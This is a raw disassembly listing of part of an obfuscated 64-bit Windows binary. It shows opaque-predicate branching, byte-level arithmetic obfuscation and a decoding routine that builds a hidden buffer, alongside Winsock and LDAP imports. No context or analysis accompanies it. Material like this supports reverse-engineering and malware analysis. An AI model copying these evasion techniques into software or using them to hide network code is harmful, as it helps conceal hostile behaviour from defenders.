sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b895
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14013b8e7
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x380], bl
jmp 0x14013b8f6
movabs rdx, 0x6ff323301fce6ffa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x42
jb 0x14013b21e
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14013b7b0
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x14013b66f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14013b5f9
movabs rdx, 0xa93d94c83c5c06d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b24c
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
mov ecx, 1
cmp rax, rcx
je 0x14013b69d
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x14013b565
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x14013b298
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x14013b8e7
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14013b895
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x14013b863
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14013b833
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14013b830
movabs rdx, 0x598f4f59b30b8cc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14013b696
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x14013b4ec
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x14013b51b
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x14013b79e
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x14013b465
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x14013b2f9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013b490
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14013b8e7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013b4bb
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14013b830
cmp rdi, rcx
jne 0x14013b4d4
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
jmp 0x14013b7f5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013b503
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b777
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013b532
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b7d6
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013b2f9
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b7b0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013b590
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14013b7b0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013b5ad
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x14013b51b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013b5ca
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14013b4ec
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013b298
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14013b8e7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013b616
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x14013b6da
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013b640
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013b6c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013b24c
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14013b830
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x380]
add bl, r8b
add bl, dl
jmp 0x14013b807
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x380]
add bl, dl
add bl, r8b
jmp 0x14013b863
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b8e7
movabs rdx, 0x35814f1d4578734e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x14013b863
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14013b833
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x14013b830
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
mov eax, 1
jmp 0x14013b7de
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x14013b79e
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x14013b8fb
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013b8f6
mov r8, rdx
movabs rcx, 0xa44d0fd2a77e7d76
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x3a
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x380], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x380], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013b8e7
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x380]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x14013add1
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14013adcc
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x14013adbc
lea rcx, [rbp + 0x17f7bf8]
jmp 0x14013b958
lea rcx, [rbp + 0x1486952]
jmp 0x14013b958
lea rcx, [rbp + 0x380]
xor edx, edx
call fcn.1401a2d88
test al, al
je 0x140140ab8
mov byte [rbp + 0xc70], 0x9b
mov byte [rbp + 0xc71], 0x59
mov r15d, 0x80
mov byte [rbp + 0xc72], r15b
mov byte [rbp + 0xc73], 0x5b
mov byte [rbp + 0xc74], 0xa0
mov byte [rbp + 0xc75], 0x45
mov byte [rbp + 0xc76], 0xbb
mov byte [rbp + 0xc77], 0x47
mov byte [rbp + 0xc78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc79], 0x41
mov byte [rbp + 0xc7a], 0xaf
mov byte [rbp + 0xc7b], 0x43
mov byte [rbp + 0xc7c], 0xde
mov byte [rbp + 0xc7d], Ordinal_79
mov byte [rbp + 0xc7e], 0xdd
mov byte [rbp + 0xc7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc80], 0xac
mov byte [rbp + 0xc81], Ordinal_79
mov byte [rbp + 0xc82], 0x86
mov byte [rbp + 0xc83], Ordinal_79
mov byte [rbp + 0xc84], 0x99
mov byte [rbp + 0xc85], 0x75
mov byte [rbp + 0xc86], 0x98
mov byte [rbp + 0xc87], 0x77
mov byte [rbp + 0xc88], __WSAFDIsSet
mov byte [rbp + 0xc89], WSACleanup
mov byte [rbp + 0xc8a], 0xef
mov byte [rbp + 0xc8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc8c], 0xe8
mov byte [rbp + 0xc8d], 0x7d
mov byte [rbp + 0xc8e], 0xe2
mov byte [rbp + 0xc8f], 0x7f
mov byte [rbp + 0xc90], 0x9c
mov byte [rbp + 0xc91], 0x79
mov byte [rbp + 0xc92], 0xbb
mov byte [rbp + 0xc93], 0x7b
mov byte [rbp + 0xc94], 0xf4
mov byte [rbp + 0xc95], 0x65
mov byte [rbp + 0xc96], 0xf6
mov byte [rbp + 0xc97], 0x67
mov byte [rbp + 0xc98], 0xac
mov byte [rbp + 0xc99], 0x61
mov byte [rbp + 0xc9a], 0x83
mov byte [rbp + 0xc9b], 0x63
mov byte [rbp + 0xc9c], 0xf0
mov byte [rbp + 0xc9d], WSASetLastError
mov byte [rbp + 0xc9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xca0], Ordinal_143
mov byte [rbp + 0xca1], WSAGetLastError
mov byte [rbp + 0xca2], 0xa7
mov byte [rbp + 0xca3], WSASetLastError
mov byte [rbp + 0xca4], 0x88
mov byte [rbp + 0xca5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xca6], 0xfe
mov byte [rbp + 0xca7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xca8], 0xfd
mov byte [rbp + 0xca9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcaa], r15b
mov byte [rbp + 0xcab], reloc.WS2_32.dll_send
mov byte [rbp + 0xcac], 0xfd
mov byte [rbp + 0xcad], Ordinal_32
mov byte [rbp + 0xcae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcaf], Ordinal_32
mov byte [rbp + 0xcb0], 0xfa
mov byte [rbp + 0xcb1], Ordinal_27
mov byte [rbp + 0xcb2], 0xf3
mov byte [rbp + 0xcb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xcb4], __WSAFDIsSet
mov byte [rbp + 0xcb5], 5
mov byte [rbp + 0xcb6], 6
mov byte [rbp + 0xcb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb8], xmm0
mov qword [rbp + 0xcc8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r12d, Ordinal_41
xor eax, eax
mov r11d, eax
lea r13d, [rax + 1]
cmp r11, 0x60
jae 0x14013c5ab
movzx r9d, byte [rbp + r11 + 0xc70]
mov edx, r9d
cmp rdi, r11
ja 0x14013c5a2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013bbe7
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x14013bc21
je 0x14013c523
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013c4d4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013c477
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013c452
mov r8b, bl
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r10, r11
ja 0x14013c599
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x14013bc54
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x14013bc8b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013c40c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013c3e9
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013c3c7
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013c3a5
mov bl, r8b
mov r8d, Ordinal_32
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14013c07a
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14013c058
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013c044
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013c022
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14013c000
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14013bfde
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013bfb8
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14013c577
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013c555
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14013bdb6
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14013bef2
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14013bec4
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14013bc9e
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013beb0
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14013be8a
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14013be68
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013be42
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14013be1c
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14013bdf9
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14013bdd8
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x14013bc9e
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14013bc91
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x14013c1a1
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x14013c44d
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013c46f
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013c4c5
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14013c36c
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013c4f0
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14013c0b6
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xc70], bl
jmp 0x14013c54d
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x14013c345
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14013c17c
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r15
jae 0x14013c31a
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x14013c231
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x14013bee5
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013c429
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013c4f0
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14013c36c
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x14013c4c5
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013c46f
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013c3f8
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14013c429
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x14013c0a0
lea rdx, [r11 + rsi]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013bf13
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c0cd
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r8d
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013c53e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013c0f7
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x14013c36a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c122
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013c4c2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013c14d
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14013c498
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013bf13
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14013c429
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c1a8
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
add bl, dl
jmp 0x14013c429
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c1d7
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013c44d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013c202
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x14013c4c5
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013bf4f
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14013c36c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c24e
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14013c0b6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c278
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x14013bea9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013c2a3
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14013c4c2
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013c2c0
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14013c486
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013c2eb
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r15b
jmp 0x14013c46f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013bf86
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013c44d
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xc70]
sub bl, al
sub bl, 0x20
add bl, r9b
add bl, dl
jmp 0x14013c498
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xc70]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xc70], al
add r10, r13
add rax, r10
sub r11, rax
jmp 0x14013c4f0
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14013c4c5
movabs rcx, 0xb6eaacf105f23edc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14013c498
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013c44d
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add r10, r13
jmp 0x14013c46f
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
sub r11, r13
jmp 0x14013c54d
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r11
mov al, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r11 + 0xc70], dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14013c54d
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x70
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14013c53e
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xc70]
add rax, r10
add r11, rax
add r11, r13
jmp 0x14013bb9b
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x14013bb92
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013bb7c
lea rdx, [rbp + 0x16a0e80]
jmp 0x14013c5b2
lea rdx, [rbp + 0x6bca0c]
jmp 0x14013c5b2
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x3a0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1860]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013c5e7
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r14d, 0x40
